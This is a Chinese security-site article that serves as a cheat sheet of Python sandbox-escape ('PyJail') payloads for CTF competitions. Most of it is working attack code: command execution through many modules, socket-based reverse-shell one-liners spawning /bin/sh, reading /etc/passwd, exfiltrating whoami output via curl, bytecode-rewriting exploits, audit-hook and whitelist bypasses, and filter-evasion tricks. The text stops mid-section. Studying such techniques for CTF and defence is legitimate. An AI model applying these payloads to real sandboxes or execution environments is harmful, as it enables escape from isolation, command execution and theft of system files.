freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【CTF】Python Jail沙箱逃逸手法总结 PyJail All in One
2025-02-19 01:18:11
所属地 河南省

Python沙箱逃逸是近几年CTF比赛中常出现的场景,之前经常遇到自己不会的知识点,于是便总结了一下,如有纰漏欢迎指正。

Python继承链

详情可见:Flask SSTI姿势与手法总结 Cheatsheet速查表

逃逸目标

命令执行

import

from os import system as __getattr__; from __main__ import sh

os

import os
# 执行shell命令不会返回shell的输出
os.system('whoami')
# 会产生返回值,可通过read()的方式读取返回值
os.popen("whoami").read()

commands

import commands
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("ls")

ctypes

import ctypes
ctypes.CDLL(None).system('ls /'.encode())

threading

import threading
import os

def func():
    os.system('ls')  # 在新的线程中执行命令

t = threading.Thread(target=func)  # 创建一个新的线程
t.start()  # 开始执行新的线程

__import__('threading').Thread(target=lambda: __import__('os').system('ls')).start()

subprocess

import subprocess
subprocess.call(command, shell=True)
subprocess.Popen(command, shell=True)

multiprocessing

import multiprocessing
multiprocessing.Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()

_posixsubprocess

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

pty

import pty
pty.spawn("ls")

timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

platform

import platform
print platform.popen('dir').read()

importlib

import importlib
importlib.import_module('os').system('ls')
# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')

sys

import sys
sys.modules['os'].system('calc')

linecache

import linecache
linecache.os.system('ls')

builtins

exec("__import__('os').system('calc')")

eval('__import__("os").system("calc")')

execfile('exp.py')
# py2 
execfile("E:\Python27\Lib\os.py")
system('calc')

exec(compile('__import__("os").system("calc")', '<string>', 'exec'))

反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")

s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(("127.0.0.1",12345));[__import__('os').dup2(s.fileno(),i) for i in range(3)];__import__('pty').spawn("/bin/sh")

其他

bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys

读写文件

file 类

# Python2 
file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在

open 函数

open('/etc/passwd').read()
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

codecs 模块

import codecs
codecs.open('test.txt').read()

get_data 函数

FileLoader 类

# _frozen_importlib_external.FileLoader.get_data(0,<filename>)
"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")

相比于获取 __builtins__再使用 open 去进行读取,使用 get_data 的 payload 更短.

linecache 模块

getlines 函数

>>> import linecache
>>> linecache.getlines('/etc/passwd')
>>> __import__("linecache").getlines('/etc/passwd')

getline 函数需要第二个参数指定行号

__import__("linecache").getline('/etc/passwd',1)

license 函数

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

枚举目录

os 模块

import os
os.listdir("/")

__import__('os').listdir('/')

glob 模块

import glob
glob.glob("f*")

__import__('glob').glob("f*")

获取函数信息

python 中的每一个函数对象都有一个 __code__属性.这个__code__属性就是上面的代码对象,存放了大量有关于该函数的信息.

假设上下文存在一个函数

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    if some_input == var2:
        return "THIS-IS-THE-FALG!"
    else:
        return "Nope"

__code__属性包含了诸多子属性,这些子属性用于描述函数的字节码对象,下面是对这些属性的解释:

  • co_argcount: 函数的参数数量,不包括可变参数和关键字参数。

  • co_cellvars: 函数内部使用的闭包变量的名称列表。

  • co_code: 函数的字节码指令序列,以二进制形式表示。

  • co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。

  • co_exceptiontable: 异常处理表,用于描述函数中的异常处理。

  • co_filename: 函数所在的文件名。

  • co_firstlineno: 函数定义的第一行所在的行号。

  • co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。

  • co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。

  • co_kwonlyargcount: 函数的关键字参数数量。

  • co_lines: 函数的源代码行列表。

  • co_linetable: 函数的行号和字节码指令索引之间的映射表。

  • co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。

  • co_name: 函数的名称。

  • co_names: 函数中使用的全局变量的名称列表。

  • co_nlocals: 函数中局部变量的数量。

  • co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。

  • co_posonlyargcount: 函数的仅位置参数数量。

  • co_qualname: 函数的限定名称,包含了函数所在的模块和类名。

  • co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。

  • co_varnames: 函数中局部变量的名称列表。

获取函数中的常量

可以使用 __code__.co_consts这种方法获取常量.

>>> get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

获取变量名称

则可以使用如下的 payload 获取 get_flag 函数中的变量信息

__globals__

get_flag.__globals__

>>> get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

获取函数字节码序列

get_flag 函数的 .__code__.co_code, 可以获取到函数的字节码序列:

>>> get_flag.__code__.co_code
b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03|\x00|\x02k\x02\x00\x00\x00\x00r\x02d\x05S\x00d\x06S\x00'

字节码并不包含源代码的完整信息,如变量名、注释等。但可以使用 dis 模块来反汇编字节码并获取大致的源代码.

>>> bytecode = get_flag.__code__.co_code
>>> dis.dis(bytecode)
          0 RESUME                   0
          2 LOAD_CONST               1
          4 STORE_FAST               1
          6 LOAD_CONST               2
          8 STORE_FAST               2
         10 LOAD_CONST               3
         12 LOAD_CONST               4
         14 BUILD_LIST               2
         16 STORE_FAST               3
         18 LOAD_FAST                0
         20 LOAD_FAST                2
         22 COMPARE_OP               2 (==)
         28 POP_JUMP_FORWARD_IF_FALSE     2 (to 34)
         30 LOAD_CONST               5
         32 RETURN_VALUE
    >>   34 LOAD_CONST               6
         36 RETURN_VALUE

虽然能获取但不太方便看,如果能够获取 __code__对象,也可以通过 dis.disassemble 获取更清晰的表示.

>>> bytecode = get_flag.__code__
>>> dis.disassemble(bytecode)
  1           0 RESUME                   0

  2           2 LOAD_CONST               1 (1)
              4 STORE_FAST               1 (var1)

  3           6 LOAD_CONST               2 ('secretcode')
              8 STORE_FAST               2 (var2)

  4          10 LOAD_CONST               3 ('some')
             12 LOAD_CONST               4 ('array')
             14 BUILD_LIST               2
             16 STORE_FAST               3 (var3)

  5          18 LOAD_FAST                0 (some_input)
             20 LOAD_FAST                2 (var2)
             22 COMPARE_OP               2 (==)
             28 POP_JUMP_FORWARD_IF_FALSE     2 (to 34)

  6          30 LOAD_CONST               5 ('THIS-IS-THE-FALG!')
             32 RETURN_VALUE

  8     >>   34 LOAD_CONST               6 ('Nope')
             36 RETURN_VALUE

修改函数信息

使用types.CodeType进行修改

修改常量

先打印函数常量格式

oCode = src.__code__.co_consts
print(oCode)

然后修改常量控制函数参数

src.__code__= types.CodeType(oCode.co_argcount, 
oCode.co_posonlyargcount, 
oCode.co_kwonlyargcount, 
oCode.co_nlocals, 
oCode.co_stacksize, 
oCode.co_flags,
oCode.co_code, 
(None, '/flag', 'r', 'utf-8', ('encoding',))
oCode.co_names, 
oCode.co_varnames,
oCode.co_filename,
oCode.co_name, 
oCode.co_firstlineno, 
oCode.co_lnotab,
oCode.co_freevars,
oCode.co_cellvars,)

修改函数字节码

执行输入的hex

from types import CodeType
def x():pass
x.__code__ = CodeType(0,0,0,0,0,0,bytes.fromhex(input(">>> ")[:176]),(),(),(),'Δ','♦','✉︎',0,bytes(),bytes(),(),())
a = x()

payload1

# From https://blog.neilhommes.xyz/docs/Writeups/2024/bctf.html#awpcode---hard

import dis

def assemble(ops):
    cache = bytes([dis.opmap["CACHE"], 0])
    ret = b""
    for op, arg in ops:
        opc = dis.opmap[op]
        ret += bytes([opc, arg])
        ret += cache * dis._inline_cache_entries[opc]
    return ret

co_code = assemble(
    [
        ("RESUME", 0),
        ("LOAD_CONST", 115),
        ("UNPACK_EX", 29),
        ("BUILD_TUPLE", 28),
        ("POP_TOP", 0),
        ("SWAP", 2),
        ("POP_TOP", 0),
        ("LOAD_CONST", 115),
        ("SWAP", 2),
        ("BINARY_SUBSCR", 0),
        ("COPY", 1),
        ("CALL", 0),    # input

        ("LOAD_CONST", 115),
        ("UNPACK_EX", 21),
        ("BUILD_TUPLE", 20),
        ("POP_TOP", 0),
        ("SWAP", 2),
        ("POP_TOP", 0),
        ("LOAD_CONST", 115),
        ("SWAP", 2),
        ("BINARY_SUBSCR", 0),
        ("SWAP", 2),
        ("CALL", 0),    # exec

        ("RETURN_VALUE", 0),
    ]
)
print(co_code.hex())

payload2

from pwn import *
from opcode import opmap


co_code = bytes([
                 opmap["KW_NAMES"], 0,
                 opmap["RESUME"], 0,
                 opmap["PUSH_NULL"], 0,
                 opmap["LOAD_FAST"], 82, # exec
                 opmap["LOAD_FAST"], 6, # my input
                 opmap["PRECALL"], 1,
                 opmap["CACHE"],
                 opmap["CACHE"],
                 opmap["CALL"], 1,
                 opmap["CACHE"],
                 opmap["CACHE"],
])


payload = co_code.ljust(176, b"B") # add padding util the input limit is reached
print(payload.hex().encode() + b" if __import__('os').system('cat /*') else 0")

LOAD_FAST

# Thanks to @splitline, https://blog.splitline.tw/hitcon-ctf-2022/#v-o-i-d-misc

# This is just an example
(lambda:0).__class__((lambda:0).__code__.replace(co_code=b'|\x17S\x00', co_argcount=0, co_nlocals=0, co_varnames=(
)), {})()["exec"]("import os;os.system('ls')")

获取环境信息

获取 python 版本

sys 模块

import sys
sys.version

platform 模块

import platform
platform.python_version()

获取 linux 版本

platform 模块

import platform
platform.uname()

获取路径

sys.path
sys.modules

沙箱逃逸

删除文件

打开文件后没有close
cat /proc/*/fd/*

删除模块

del __builtins__.__dict__['eval']

reload

reload 函数可以重新加载模块
python3需要导入importlib

reload(__builtins__)

sys.modules

由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此只需要将 os 模块删除,然后再次导入

sys.modules['os'] = 'not allowed'

del sys.modules['os']
import os
os.system('ls')

globals

globals() 中存放了 builtins 模块的索引

globals()["__builtins__"]['breakpoint']

继承链

>>> ().__class__.__base__.__subclasses__()[5]
<class 'bytes'>
# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# subprocess 
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")


#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

栈帧

生成器

通过生成器获取全局栈帧
gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

通过f_back获取上一帧的变量从而逃逸

(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals

异步函数

通过异步函数获取该函数的局部栈帧

async def a():pass
a().cr_frame.f_globals

signal

(sig:=help.__call__.__globals__["sys"].modules["_signal"],sig.signal(2, lambda *x: print(x[1])), sig.raise_signal(2))

字符串匹配

list+dict

list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])]
__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])])
list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]
list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]

unicode

http://shapecatcher.com/
Python 3 开始支持非ASCII字符的标识符。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

print(__name__)

过滤属性名

getattr

getattr(object, name[, default])
>>> getattr({},'__class__')
<class 'dict'>
>>> getattr(os,'system')
<built-in function system>
>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
>>> getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh

__getattribute__

class MyClass:
    def __getattribute__(self, name):

getattr 函数在调用时,实际上就是调用这个类的 __getattribute__方法

>>> os.__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
>>> os.__getattribute__('system')
<built-in function system>

__getattr__

__getattr__是 Python 的一个魔术方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError异常

class MyClass:
    def __getattr__(self, name):
        return 'You tried to get ' + name

__globals__

__globals__可以用 func_globals 直接替换

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")

基类

__mro____bases____base__互换

''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

import

__import__

除了可以使用 import,还可以使用 __import__和 importlib.import_module来导入模块
importlib 需要进行导入后才能够使用

__import__('os')
importlib.import_module('os').system('ls')

__loader__

__loader__.load_module底层实现与 import 不同, 可以绕过audithook

__loader__.load_module('os')

[]

调用方法来获取属性

列表方法

__getitem__
pop

list.__getitem__(0)
list.pop(0)

字典方法

__getitem__
pop
get
setdefault

dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')

''

str

>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
>>> str(().__class__.__new__)[21]
'w'
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'

chr

>>> chr(56)
'8'
>>> chr(100)
'd'

list dict

list(dict(whoami=1))[0]

__doc__

__doc__变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串

().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]

bytes

接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串

bytes([115, 121, 115, 116, 101, 109]).decode()

+

构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__中取

str().join(().__doc__[19],().__doc__[23])

数字

返回值

使用一些函数的返回值获取

0:int(bool([]))Flaselen([])any(())
1:int(bool([""]))Trueall(())int(list(list(dict(a၁=())).pop()).pop())

其他数字通过运算获取

repr

>>> len(repr(True))
4
>>> len(repr(bytearray))
19

len list dict

避免出现运算符

0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])

空格

使用括号替换

@print\r@set\r@open\r@input\rclass\x0ca:pass

运算符

== 可以用 in 来替换
or 可以用| + -a-b来替换

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] or i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
    print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

and 可以用& *替代

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] and i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

()

装饰器

@

@exec
@input
def a():pass # or class a:pass
@print
@set
@open
@input
def a():pass # or class a:pass
@print\r@set\r@open\r@input\rclass\x0ca:pass

魔术方法

enum.EnumMeta.__getitem__

f字符串

f'{__import__("os").system("whoami")}'

反序列化绕过

builtins函数

eval list dict

>>> eval('str')
<class 'str'>
>>> eval('bool')
<class 'bool'>
>>> eval('st'+'r')
<class 'str'>

>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>

点号和逗号

  1. 内建函数可以使用eval(list(dict(s_t_r=1))[0][::2])这样的方式获取。

  2. 模块内的函数可以先使用 __import__导入函数,然后使用 vars() 进行获取

>>> vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>

命名空间限制

python交互式解析器不能指定命名空间,可以脚本模拟

def repl():
    global_namespace = {}
    local_namespace = {}

    while True:
        try:
            code = input('>>> ')
            try:
                # Try to eval the code first.
                result = eval(code, global_namespace, local_namespace)
            except SyntaxError:
                # If a SyntaxError occurs, this might be because the user entered a statement,
                # in which case we should use exec.
                exec(code, global_namespace, local_namespace)
            else:
                print(result)
        except EOFError:
            break
        except Exception as e:
            print(f"Error: {e}")

if __name__ == "__main__":
    repl()

限制部分模块

exec 函数的第二个参数可以指定命名空间
可以通过获取其他命名空间里的 __builtins__绕过

__import__('types').__builtins__
__import__('string').__builtins__

清空builtins

使用Python继承链获取

长度限制

交互式

input

传入一个 input 打开一个新的输入流,然后再输入最终的 payload

sys.stdin.read()

注意输入完毕之后按 ctrl+d 结束输入

>>> eval(sys.stdin.read())
__import__('os').system('whoami')
kali
0
>>>

sys.stdin.readline()

>>> eval(sys.stdin.readline())
__import__('os').system('whoami')

sys.stdin.readlines()

>>> eval(sys.stdin.readlines()[0])
__import__('os').system('whoami')

在python 2中,input 函数从标准输入接收输入之后会自动 eval 求值。因此无需在前面加上 eval。但 raw_input 不会自动 eval。

breakpoint

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

help

help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
然后输入 os,此时会进入 os 的帮助文档。

help> os

然后在输入 !sh就可以拿到 /bin/sh, 输入 !bash则可以拿到 /bin/bash

Web

例如Flask,通过HTTP传入参数,与SSTI的打法类似

url_for.__globals__[request.args.a]
lipsum.__globals__.os[request.args.a]

多行限制

exec

exec 可以支持换行符与;

>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1

compile

compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码

eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')

海象表达式

海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作
可以在

<expression> := <value> if <condition> else <value>

借助海象表达式,可以通过列表来替代多行代码:

eval('[a:=__import__("os"),b:=a.system("id")]')

变量覆盖

在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.

sys.modules 存放了现有模块的引用, 通过访问 sys.modules['__main__']就可以访问当当前模块定义的所有函数以及全局变量

除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数

gc

gc模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互

  1. gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过 generation参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。

  2. gc.get_objects():这个函数会返回当前被管理的所有对象的列表。

  3. gc.get_referrers(*objs):这个函数会返回指向 objs中任何一个对象的对象列表。

for obj in gc.get_objects():
    if '__name__' in dir(obj):
        if '__main__' in obj.__name__:
            print('Found module __main__')
            mod_main = obj
        if 'os' == obj.__name__:
            print('Found module os')
            mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")

一些版本会触发 gc.get_objects hook 导致无法成功

traceback

主动抛出异常, 并获取其后要执行的代码, 然后将__exit进行替换

try:
    raise Exception()
except Exception as e:
    _, _, tb = sys.exc_info()
    nxt_frame = tb.tb_frame

    # Walk up stack frames until we find one which
    # has a reference to the audit function
    while nxt_frame:
        if 'audit' in nxt_frame.f_globals:
            break
        nxt_frame = nxt_frame.f_back

    # Neuter the __exit function
    nxt_frame.f_globals['__exit'] = print

    # Now we're free to call whatever we want
    os.system('cat /flag*')

一些版本会触发object.__getattr__hook

audit hook

Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动

  • import:发生在导入模块时。

  • open:发生在打开文件时。

  • write:发生在写入文件时。

  • exec:发生在执行Python代码时。

  • compile:发生在编译Python代码时。

  • socket:发生在创建或使用网络套接字时。

  • os.systemos.popen等:发生在执行操作系统命令时。

  • subprocess.Popensubprocess.run等:发生在启动子进程时。

__loader__

__loader__实际上指向的是 _frozen_importlib.BuiltinImporter类,也可以通过别的方式进行获取

>>> ().__class__.__base__.__subclasses__()[84]
<class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
<class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
<class '_frozen_importlib.BuiltinImporter'>

__loader__.load_module也有一个缺点就是无法导入非内建模块

_posixsubprocess

_posixsubprocess模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了_posixsubprocess.

该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.

3.11

def fork_exec(
    __process_args: Sequence[StrOrBytesPath] | None,
    __executable_list: Sequence[bytes],
    __close_fds: bool,
    __fds_to_keep: tuple[int, ...],
    __cwd_obj: str,
    __env_list: Sequence[bytes] | None,
    __p2cread: int,
    __p2cwrite: int,
    __c2pred: int,
    __c2pwrite: int,
    __errread: int,
    __errwrite: int,
    __errpipe_read: int,
    __errpipe_write: int,
    __restore_signals: int,
    __call_setsid: int,
    __pgid_to_set: int,
    __gid_object: SupportsIndex | None,
    __groups_list: list[int] | None,
    __uid_object: SupportsIndex | None,
    __child_umask: int,
    __preexec_fn: Callable[[], None],
    __allow_vfork: bool,
) -> int: ...
  • __process_args: 传递给新进程的命令行参数,通常为程序路径及其参数的列表。

  • __executable_list: 可执行程序路径的列表。

  • __close_fds: 如果设置为True,则在新进程中关闭所有的文件描述符。

  • __fds_to_keep: 一个元组,表示在新进程中需要保持打开的文件描述符的列表。

  • __cwd_obj: 新进程的工作目录。

  • __env_list: 环境变量列表,它是键和值的序列,例如:["PATH=/usr/bin", "HOME=/home/user"]

  • __p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite: 这些是文件描述符,用于在父子进程间进行通信。

  • __errpipe_read, __errpipe_write: 这两个文件描述符用于父子进程间的错误通信。

  • __restore_signals: 如果设置为1,则在新创建的子进程中恢复默认的信号处理。

  • __call_setsid: 如果设置为1,则在新进程中创建新的会话。

  • __pgid_to_set: 设置新进程的进程组 ID。

  • __gid_object, __groups_list, __uid_object: 这些参数用于设置新进程的用户ID 和组 ID。

  • __child_umask: 设置新进程的 umask。

  • __preexec_fn: 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。

  • __allow_vfork: 如果设置为True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

篡改内置函数

修改白名单

WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")

exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")

不导入而获取模块

# 获取 sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]

# 获取 os
